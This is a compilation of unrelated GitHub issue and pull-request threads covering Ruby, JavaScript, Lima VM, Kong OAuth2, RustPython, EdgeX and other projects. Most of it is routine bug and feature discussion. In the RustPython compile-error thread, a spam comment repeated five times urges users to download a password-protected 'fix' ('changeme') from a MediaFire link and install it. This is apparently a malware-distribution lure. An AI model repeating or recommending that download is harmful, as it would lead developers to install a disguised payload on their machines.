        8: from /Users/yakavkrasnov/.rvm/gems/ruby-2.5.1/gems/pipe_operator-0.0.1/lib/pipe_operator.rb:14:in `__pipe__'
        7: from /Users/yakavkrasnov/.rvm/gems/ruby-2.5.1/gems/pipe_operator-0.0.1/lib/pipe_operator/pipe.rb:11:in `new'
        6: from /Users/yakavkrasnov/.rvm/gems/ruby-2.5.1/gems/pipe_operator-0.0.1/lib/pipe_operator/pipe.rb:40:in `__call__'
        5: from /Users/yakavkrasnov/.rvm/gems/ruby-2.5.1/gems/pipe_operator-0.0.1/lib/pipe_operator/pipe.rb:22:in `open'
        4: from /Users/yakavkrasnov/.rvm/gems/ruby-2.5.1/gems/pipe_operator-0.0.1/lib/pipe_operator/pipe.rb:40:in `block in __call__'
        3: from /Users/yakavkrasnov/.rvm/gems/ruby-2.5.1/gems/pipe_operator-0.0.1/lib/pipe_operator/pipe.rb:40:in `instance_exec'
        2: from (irb):7:in `block in irb_binding'
        1: from /Users/yakavkrasnov/.rvm/rubies/ruby-2.5.1/lib/ruby/2.5.0/json/common.rb:155:in `parse'
ArgumentError (wrong number of arguments (given 0, expected 1..2))

But it works with
"https://api.github.com/repos/ruby/ruby".pipe { URI.parse | Net::HTTP.get }

Thanks for testing @HolyWalley! Check out the PIPE_OPERATOR_REBIND section in https://github.com/LendingHome/pipe_operator#caveats
tldr there are two workarounds:

require "json" BEFORE calling __pipe__ for the first time
Start up the process via ENV["PIPE_OPERATOR_REBIND"] = "1" irb

But note that this won't be necessary if we port this over to Ruby as a core feature!


Add support for JS type Null  (implements #20)

This small patch add support for a new JS type Null which accepts the following values as JSON null:

the empty string;
the null and nil strings;
any case-variant of the above;

(Implements #20)

In some cases, an empty string can be considered an absence of value, but not always. Therefore, I would suggest to be more conservative and only include xsi:nil and maybe null / nil

Given your suggestion and my initial use-case I think there should be multiple "null" converters:

the xsi:nil you've proposed;
the null / nil textual variants;
the empty string;

I understand that your library tries to be as close as possible to the original XML format, and therefore an empty tag should be considered as an empty string.  However my initial use-case dealt with XML files that were generated by a C application where a NULL value was formatted as an empty string.
As such would you accept a patch that introduces the later two "null" converters?  Say NullFromStringNull and NullFromStringEmpty?

Yes. As I mentioned, an empty string can be considered as an absence of value in some cases.
For that reason, I am definitely in favour of having the option to tell the converter whether an empty string should be considered an absence of value or not. (aka null, nil, NULL, ...).
Now the question is, can we apply this rule only to specific nodes? It would be the ideal solution imo.

Now the question is, can we apply this rule only to specific nodes? It would be the ideal solution imo.

Personally I think that if one needs this level of configuration, then perhaps handling the XML with an native API would be the best choice.
I wonder how people use this library, as this might better inform the decision.  My assumption is that one uses such a library as a quick solution to ingesting XML and dumping it into an JSON-compliant data-store.  As such in these situations a "loose" translation is acceptable.

... if one needs this level of configuration, then perhaps handling the XML with an native API would be the best choice.

Fair point. We can start with a config that applies to the whole document and improve it down the road when we see fit.


New type "images" to display multiple images

This commit introduces a new "images" type similar to the current "image" type. The only difference is that it expects an array of images instead of an image object. If accepted, could you publish a minor version on NPM, thank you very much.

Done 👍🏻


can not find name 'blobUtil'

when i use this node modules to convert my image in blob, i getting error "can not find module 'blobUtil'".

I have installed "npm i blob-util" module
import { canvasToBlob } from 'blob-util' , when i use to convert in blob in my app.
my code is:
blobUtil.imgSrcToBlob(res.json().data.productImage).then(function (blob) {
// success
}).catch(function (err) {
// error
});

How to solve this error or how to install or use modules in ionic 3 app.
please reply asap

When you import using the ESM module format:
import { canvasToBlob } from 'blob-util'

Then you omit the blobUtil part when you call it. It's only when you include it as a script tag that it creates a global blobUtil object. Hope that helps!

Property 'imgSrcToDataURL' does not exist on type '{}'.


some sensors should be binary_sensors

Describe the bug
Right now they are normal sensors with with the state "active" or "inactive".
Expected behavior
The following two sensors of the dconnect box 2 should be binary sensory, they can be only "on" oder "off":

DConnect Box 2 In1
DConnect Box 2 Out1

Additional context
Thx for this integration! So far I used the HA rest sensor for integrating the pump but this way it is much easier...
The API seemed to be stable, even with the new UI design in 2022/2023 the json stuff didn't change.

Thank you for your excellen suggestiont.
At the moment I am only doing small fixes on my initial version of the integration, but am planning for some changes with bigger code impact for a release by the end of January 2024. Will try to incorporate the binary_sensors into that one.

This has been included in release v2024.01.1 which is available now.
Sensors that should be a binary_sensor are automatically detected based on their possible values.
Please let me know if you notice any issues.

Great!


We should use a LTS version for the ubuntu in the default.yaml

I found we are using the non-LTS version for the Ubuntu.
For most people, they don't know this background:

LTS or ‘Long Term Support’ releases are published every two years in April. LTS releases are the ‘enterprise grade’ releases of Ubuntu and are used the most. An estimated 95% of all Ubuntu installations are LTS releases.

I viewed the commits, we often update the version of ubuntu when the ubuntu release a new version. For a new enduser for lima, they would get a default.yaml that contains a non-LTS version of ubuntu if they are using at the year 2021 or 2023.
So, I think we should use the LTS version in the default.yaml
https://github.com/lima-vm/lima/blob/95324c94d2aacff089bedae7dceaa0e31f8dc823/examples/default.yaml#L27
https://ubuntu.com/about/release-cycle

Devs often want the latest packages, so I'm not inclined to change the default to LTS.
Users may still use LTS with limactl create template://ubuntu-lts.

Thanks for your reply.
I don't know other devs, I created the VM by default.yaml at 2 years ago. there's no change in the file https://github.com/saltbo/dotfiles/blob/master/.lima/default/lima.yaml. I hope it's stable, not the newest.
I don't know what most developers think. I just thought lima-vm should provide the LTS version in the default.
Of course, you must have a better understanding of what developers want. If you don't feel the need to use LTS, you can close this issue.

There was a suggestion to switch from ubuntu to debian as the base for default, it would also mean an older OS

I don't understand why Ubuntu must be default. What makes non-linux users think that the most popular Linux distribution for servers would be Ubuntu? As of 15 of system engineering, I'll say I've seen probably 70+% Debian, RedHat after, CentOS. But Ubuntu is popular on less enterprise setups, mostly used by beginners.
In the enterprise area, Debian and Oracle today dominate, Red Hat still keeps it's percentage, but Oracle grew after the CentOS thing. The rest is Ubuntu, with hopes it won't break.

As far as I know, there is no such "must". But I still think it's a good default

I also don't really care; something must be the default, but any reasonable choice should work.
Ubuntu seems very popular for development, especially by people working on Kubernetes and CNCF projects, so using it as the default seems fine to me. Debian might be better as a non-corporate choice, but I'm not sure it matters.


Shall not turn hidden layers on

Context

Comment
I suspect this is due to how the person built the variant. Will look into it.

Unable to reproduce
Sent a public reply to the user


add OnReceived

Closes #6097

For now we will be just wrap StoredMap to achieve similar result

If you already have a way, why do you need this?

If it is possible to do this properly, why should I do a more complicated workaround solution?

Just found out StorageMapShim should do what we need. So we don't need this anymore.
Unless others will want this as well, I will have this closed.


The passed message type is invalid

When running the sample code, it is saying that the message type is invalid. See below
admin@ros2:/workspaces/isaac_ros-dev$ ros2 topic list -t
/odrive_axis0/control_message [odrive_can/msg/ControlMessage]
/odrive_axis0/controller_status [odrive_can/msg/ControllerStatus]
/odrive_axis0/odrive_status [odrive_can/msg/ODriveStatus]
/parameter_events [rcl_interfaces/msg/ParameterEvent]
/rosout [rcl_interfaces/msg/Log]
admin@ros2:/workspaces/isaac_ros-dev$ ros2 topic pub /odrive_axis0/control_message odrive_can/msg/ControlMessage "{control_mode: 2, input_mode: 1, input_pos: 0.0, input_vel: 1.0, input_torque: 0.0}"
The passed message type is invalid

@samuelsadok I thought I had sourced, but apparently had missed that.  Publishing is working call so if we can fix the service call this may work.  Thanks


WIP: Add lifecycle lambda for graceful updates of ECS cluster (closes #36).

Not much to it apparently. Note that this is blocked until we decide what to do with the module (i.e., we are not going to use the fork). For now we can use this fork to test that it works.

Added notes on my simple tests in the issue.


halotools test --coverage throws travis error

My full test suite for #338  is passing except for the SETUP_CMD = 'test --coverage' option.
@bsipocz or @eteq - have either of you ever seen this before?
https://travis-ci.org/astropy/halotools/jobs/107009559
=================== 356 passed, 64 skipped in 228.12 seconds ===================
Saving coverage data in .coverage...
Saving HTML coverage report in htmlcov...
The command "python setup.py $SETUP_CMD" exited with 0.
$ if [[ $SETUP_CMD == 'test --coverage' ]]; then coveralls --rcfile='halotools/tests/coveragerc'; fi
Submitting coverage to coveralls.io...
Coverage submitted!
Couldn't find a repository matching this job.
'url'

@aphearin - We see it for all of the packages, @astrofrog figured out that's it's a problem on out site, so we just need to wait it out.

@aphearin - I've just restarted a build on this, and it seems to be resolved already.

Many thanks, @bsipocz - the issue appears to be resolved now.


add a script to generate /docs/release.json

The current release.json is via https://api.github.com/repos/denoland/deno/tags
Generated, but not all versions
The API of GitHub just lists the 30 latest versions
We should add a script to generate all versions

Noticed THIS API returns all versions


Fail to upload one blob with the same name if deleting a blob whose ArchiveStatus is rehydrate-pending-to-hot/cool

Storage Explorer Version: 1.23.0-dev
Build Number: 20220127.4
Branch: main
Platform/OS: Windows 10/Linux Ubuntu 20.04/MacOS Big Sur 11.6.1
How Found: Ad-hoc testing
Regression From: Not a regression
Steps to Reproduce

Expand one storage account -> Blob Containers. (Make sure Soft Delete is enabled)
Create a blob container -> Upload one blob.
Chang its access tier to 'Archive' -> Change its access tier to 'Hot'/'Cool'.
The blob's ArchiveStatus is rehydrate-pending-to-hot/cool.
Delete the blob -> Upload a blob whose name is the same as the deleted blob.
Check whether succeeds to upload the blob.

Expected Experience
Succeed to upload the blob.
Actual Experience
Fail to upload the blob.

Additional Context

This issue doesn't reproduce when the Soft Delete is disabled.
Related issue: 5034.

Going to treat this as a duplicate of the linked issue (#5034).

Verified this issue on the build 20230516.9, 5034 has been closed because it does not allow to use an existing name to clone and rehydrate, so we are going to re-open this issue.


Modularize the source code

And use robust third-party libs as much as possible. Same goes for the test code too.
It's hard to navigate over the code, fix bugs and add new features otherwise, it would be also more contribution friendly.

Ref https://github.com/jquery/esprima/issues/1168

Yes! This definitely needs to be the priority as soon as the support for ES6 features is completed.


Compile error:failed to resolve: could not find compile in vm

Hi all!
And thank you for the super interesting project.
I'm not sure if this is a bug or not - technically it's just a compile issue.
the code
https://github.com/xforce/netease-messiah-tools/blob/main/pyc/src/main.rs
error[E0433]: failed to resolve: could not find `compile` in `vm`
  --> pyc\src/main.rs:80:21
   |
80 |                 vm::compile::Mode::Exec,
   |                     ^^^^^^^ could not find `compile` in `vm`
   |
help: consider importing this enum
   |
1  + use rustpython_vm::compiler::Mode;
   |
help: if you import `Mode`, refer to it directly
   |
80 -                 vm::compile::Mode::Exec,
80 +                 Mode::Exec,
   |

error[E0061]: this method takes 2 arguments but 1 argument was supplied
   --> pyc\src/main.rs:66:31
    |
66  |             .map_err(|err| vm.new_syntax_error(&err));
    |                               ^^^^^^^^^^^^^^^^------ an argument of type `Option<&str>` is missing

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

Try to use vm::compiler::Mode::Exec and vm.new_syntax_error(&err, None) or source code instead of None.
The code looks older than your RustPython version.

Try to use vm::compiler::Mode::Exec and vm.new_syntax_error(&err, None) or source code instead of None.
The code looks older than your RustPython version.

this problem is fixed now Thanks
but there a problem else
error: linking with C:\mingw64\bin\gcc.exe failed: exit code: 1
x86_64-w64-mingw32/bin/ld.exe: cannot find -lffi: No such file or directory
collect2.exe: error: ld returned 1 exit status

It doesnt look related to RustPython

Is this resolved?


create container tests for CI

https://docs.github.com/en/actions/using-containerized-services/creating-postgresql-service-containers

w/matrices https://github.com/actions/setup-python

one idea is to add launchql cli, and do a lql dump command
      - name: lql
        run: npm install -g @launchql/cli

$ lql
? [cmd] what do you want to do? dump
? [deps] dump all dependencies too? Yes
? [project] choose a project ast
? [path] choose a name dump


[Bug] Gain entry (detected from TDT)

This was recently fixed on the NeuroConv side (gain was explicitly exposed)
However, a bizarre issue on the front end side (not altogether blocking, will probably raise as separate issue)
If I type 0 - . - any other number, such as a common gain of 0.195, the form entry bugs out and the . moves the insertion line to the left and does not add the . character
To insert the correct value, I need to start with the . instead
Originally posted by @CodyCBakerPhD in https://github.com/NeurodataWithoutBorders/nwb-guide/issues/246#issuecomment-1915511554

Note: using Windows. Unsure how platform specific this is


Introduce a configuration to disable API publisher Walkthrough.

Description:
Currently, there isn't any configuration to disable API publisher walkthrough. There should be an option to disable publisher walkthrough if necessary.
Suggested Labels:
Improvement
Suggested Assignees:
<EMAIL_ADDRESS>Affected Product Version:
APIM 2.1.0
OS, DB, other environment details and versions:
Steps to reproduce:
N/A

This will be tracked in #1832. Hence resolving this issue considering this as a duplicate.


oauth2: Add custom TTL to refresh tokens

Summary
Refresh token TTL used to be hardcoded to 14 days. This pose a problem with scenarios where the token/refresh_token is only used sporadically. This PR adds new config option refresh_token_ttl that specify refresh token's TTL. If the value is nil or 0 it means keep forever.

[x] add refresh_token_ttl to the plugin's schema
[x] pass the value down to generate_token method as ttl option, replace it with nil if the is either not defined or lower than 0.
[x] add schema spec test
[x] add access spec test
[ ] update documentation - that's a separate PR I guess

Full changelog
kong/plugins/oauth2/schema.lua
kong/plugins/oauth2/access.lua
Test cases
spec/03-plugins/26-oauth2/01-schema_spec.lua
spec/03-plugins/26-oauth2/03-access_spec.lua
Issues resolved
Fix #2024
Misc
I'm of course open to suggestion on how to make the code better or how to test it better

OK, I tuned the tests against 0.10.3, because that's what we are using, but one of the helpers that I used is now somewhere else in current master. I'll have a look at it 👁

@Tieske I added the migration, rebased against next and set the required option to true

OK, let's pretend the migration code didn't contain run_on_preflight config option ...

final item seems docs, on https://github.com/Kong/getkong.org

Updated documentation - Kong/getkong.org#535

This crossed another PR and now needs a rebase

Thank you for the contribution @bob983 ! This shall be released in our next major version (0.12).


Similarity metrics fail if the SMILES have problems when loading to RDKit

Describe the bug
Similarity metrics fail if the SMILES have problems when loading to RDKit
To Solve
Introduce method to sanitize the SMILES before going into the calculation.

It should be done by user beforehand. I've included a santization to curve the easiest errors.


Implement support scheduler microservice in Go

cc @drasko , refer to support-scheduler java version

@yanghua big chunk here :). @feclare @jpwhitemn and @tsconn23 - please review also.

@yanghua all the changes are good, I have no more remarks. Please proceed with the official contribution process for large code contribution, as @jpwhitemn explained.

@drasko OK, I'm going to make this branch as the new repository's master branch.

Hi @drasko @jpwhitemn @JPWKU ,
I committed a new PR to the holding repository.
My steps:

fork the holding repository : https://github.com/edgexfoundry-holding/support-scheduler-go to my github
git clone my forked repository to my local
download this PR branch in my edgex-go repository, just download the zip file
unzip to my local holding repository
push to my forked remote reopsitory
send a PR to edgexfoundry-holding/support-scheduler-go

If this is a wrong or (terrible) way, please let me know and give a better suggestion.
Thanks!

FYI I have it on my list to do a review of this in the holding pen tomorrow.

@yanghua I don't see anything for this in the holding area to be reviewed.
https://github.com/edgexfoundry-holding/support-scheduler-go
The repo is empty and waiting for a commit. You should be able to push to the holding repo from your local branch like so:
git push https://github.com/edgexfoundry-holding/support-scheduler-go.git +your_branch_name:master
If there's code there tomorrow, I'll take a look at it.

@tsconn23 I have sent a PR into that repository recently.

@tsconn23 yes - please go  through the PR: https://github.com/edgexfoundry-holding/support-scheduler-go/pull/1
@yanghua is getting around pretty good, following the good practices, and sending PR I think is better than just pushing the code because gives a chance for everybody to comment on the code. If it's OK for you you can merge the PR over there.
I did comments before, while PR was in this thread.

Closing this as it's being handled in the holding area. Review and possible merge will continue after California release.